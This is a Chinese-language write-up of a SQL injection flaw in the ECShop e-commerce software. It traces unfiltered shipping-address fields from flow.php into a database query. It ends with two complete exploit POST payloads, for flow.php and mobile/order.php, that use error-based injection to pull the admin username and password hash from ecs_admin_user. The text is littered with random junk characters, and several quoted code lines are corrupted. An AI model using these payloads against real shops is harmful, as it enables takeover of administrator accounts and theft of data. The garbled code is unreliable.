ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

1 D1 l  O+ }0 i# V7 {, R    漏洞关键文件：

8 W! I' F6 N; d    /includes/lib_order.php

3 a1 P& d0 k' H5 C$ R7 b    关键函数：


; {) b9 r6 M& }7 c
8 |& R2 a0 E' v. O01     function available_shipping_list($region_id_list)
1 T" T% i6 {* t; ^
- {0 |& u9 r4 S0 j$ s& h02 {
$ J7 B# ^) A4 V# I. S
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
# ~' L5 X% l  {: ?/ o
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
9 P* c! `7 V- k, \
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

6 S* @4 _. c! V06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
9 q1 A; f5 r9 v. f( v, b
0 N( E7 n5 d& ~07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

$ d9 U. A6 n" c) `  R" y08             'WHERE r.region_id ' . db_create_in($region_id_list) .
! j8 F: q5 ]" g& p" `  ~
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
$ G5 P. _1 N0 r4 b) w2 Q2 N  X
# ^: E& h- E. L! V/ R  l10   
1 D2 h; y& ~2 K, c
7 Y+ S1 h8 j- ]* m" R# _: c11     return $GLOBALS['db']->getAll($sql);

12 }
6 r' }9 Q, b- E. F* [1 S/ V
显然对传入的参数没有任何过滤就带入了查询语句。

下面我们追踪这个函数在flow.php中：
第531行：   

# B+ N) X5 f; H4 l& _" r1 $shipping_list     = available_shipping_list($region);
* Q2 r7 R3 Z9 Y3 o

' \3 s- P+ s# A


再对传入变量进行追踪：
0 ?3 n9 C- r$ T& m, t$ l% L0 \' h
第530行：   

1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);

* y2 i7 F- v4 a. S) r6 e
3 t. t$ ~: x/ P- j' c4 r% X6 u

! q2 {, Z# j5 ^/ X* F$ s2 ]
/ N) \% }( c. N( p" ]6 z4 r4 u第473行：        
5 p& |3 ?' R/ f: M
1 $consignee = get_consignee($_SESSION['user_id']);
' ^- D" V& E4 l  q+ Q2 E( e
; I* q6 n/ B* w8 i; T+ \7 _; s到了一个关键函数：
, V' W3 Z8 b9 |+ l/ P8 ?1 u
/includes/lib_order.php
) G* g+ E  L5 F8 Y9 v  A+ D

" V* u, F9 W8 O2 P' D' i7 y# P
3 |( P% K* B  E, ]% U
7 e7 J  N8 V1 Y' k9 K
01 function get_consignee($user_id)

02 {
& l) \# D9 O( P9 ]
" ?9 j- J4 ?& [& |, o9 u03     if (isset($_SESSION['flow_consignee']))

$ q2 p  v! J1 M7 z04     {
! A9 ]; u" {* m
05         /* 如果存在session，则直接返回session中的收货人信息 */
, w' H% h  y$ P# ~5 f  r0 r! z
8 A* q# g0 Y; J6 ^  Z06   

1 Q; z9 e  A. }, c1 c& G07         return $_SESSION['flow_consignee'];

6 E, ^* P% @7 u6 [9 z6 F* ^08     }

09     else
% a9 \) V! Z+ J+ O2 X5 N
) U7 @% _$ @* _6 `2 ^10     {

11         /* 如果不存在，则取得用户的默认收货人信息 */

5 P- C! Q& c: Z9 K) p# f12         $arr = array();
$ A# h+ Q! {" h  F* u* W3 p& r
13   

14         if ($user_id > 0)

- z3 M* L/ S( m) k/ r' w9 g7 x15         {

7 m1 B$ y5 X; E16             /* 取默认地址 */
* q( F2 ~7 l$ C4 B
17             $sql = "SELECT ua.*".
" Y# B& r& j4 Z7 y3 G; T
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

. g- d6 K+ G: i9 _19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

20   

  Q2 ~7 }% U  j$ O6 ~; m! a21             $arr = $GLOBALS['db']->getRow($sql);

. ~# w6 |0 U$ m7 _/ w22         }
, x* O  K+ j4 X+ r0 d6 C
0 W1 c3 V6 Y* t! j) s23   
5 m+ \' z0 Y  p  O
24         return $arr;
1 b# g  G! }# h' ~/ O) ?8 p
25     }

9 I# q# u% q% O% e$ p5 M5 y26 }

! e: U) z% G" v& l) r显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
  ?0 }. _) b2 d$ T
0 V8 ^* |, ~# j8 ?9 H- @' E9 z

5 i, ^" c1 \* A2 {关键点:

  H* P5 i9 z& Z$ K4 _# w: c# O第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
- @' Q# X+ j  N- P+ K
这里对传入参数反转义存入$_SESSION中。
9 |! ?4 X6 a# X( H3 r3 k2 @5 d/ I% {


然后看下：

3 P+ t) M7 r# A/ e+ D9 \. d" Q
9 E$ q& \6 U2 Q: ]
, F$ j% i' }- M1 b) \: w9 n% g3 r   

01 $consignee = array(
3 D- L/ T% P0 ~& h! W& q- N$ N! R
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

5 k" |( \+ ]" s$ \: Q& p7 h04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
9 b; a5 e- N1 H- w! U0 r
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
2 i* u6 K; B. {! K
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

9 \. y$ F+ H* M2 e07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
& }5 P& f9 \/ S8 q# H
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
+ D) z, J3 e7 }- M
% R9 @  }+ m# Y6 ^$ e! W09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
4 t% E3 h5 E5 N( B- M- Y2 n
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
1 o, f( o+ y7 P! N
7 k- H/ ]- ]" u% k12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
3 x" E6 C% V  Y  l( B
' |7 [& b6 n# S, g' L/ A13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
/ ~1 j1 ^% _: z# ^& Q$ E, h, A
) _* r- ^0 r6 f: \% a" F" q14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );
6 B7 _; h8 B+ A
' Z( K, ~& k% e# I& I好了注入就这样出现了。

$ a2 ~/ M; z  b- n7 _! D==================
0 s0 x' ^8 z8 M8 j# u) v' c
注入测试：
! `- l4 j. k8 C
$ ^6 N# F; y& }4 G% q环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

/ A6 ?* ^5 J9 ~测试程序：ECShop_V2.7.3_UTF8_release1106

! J# N+ C9 A# r9 K
1 A& E% Z8 T1 q, L) y% i
9 u) m+ H% G" p9 ?. b6 `% `; I1.首先需要点击一个商品加入购物车

4 _0 ^: q& W& W2.注册一个会员帐号
4 F: c- B: \& S1 N1 U. n) W
8 E* f9 B6 z. @" @# K4 L3.post提交数据



( |9 E! ~' _$ Z7 z7 D1 http://127.0.0.1/ecshop/flow.php
  D' ~! N  ^# j8 f: @" |
2   

* v0 t2 m) A4 S8 v3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
3 d) k5 S+ h2 a5 c5 O, g! z+ }, n2 G举一反三，我们根据这个漏洞我们可以继续深入挖掘：

8 u  l: m6 C1 y9 H我们搜寻关键函数function available_shipping_list()
* A, a: N& ]0 U5 P
在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
/ C: U& J3 J: i
利用exp:
5 P& B/ |9 m; X
4 S9 L7 N# o2 a7 R3 z. s1.点击一个商品，点击购买商标
: S# r# O: M1 ~
2.登录会员帐号

3.post提交：

6 k* s& V8 \% W) \4 }+ e$ b+ @http://127.0.0.1/ecshop/mobile/order.php

, T& e$ `/ _; Y# W- ~

) H% g+ }2 T, _! a: F( }country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=

- g1 W" p. s. G" N# Q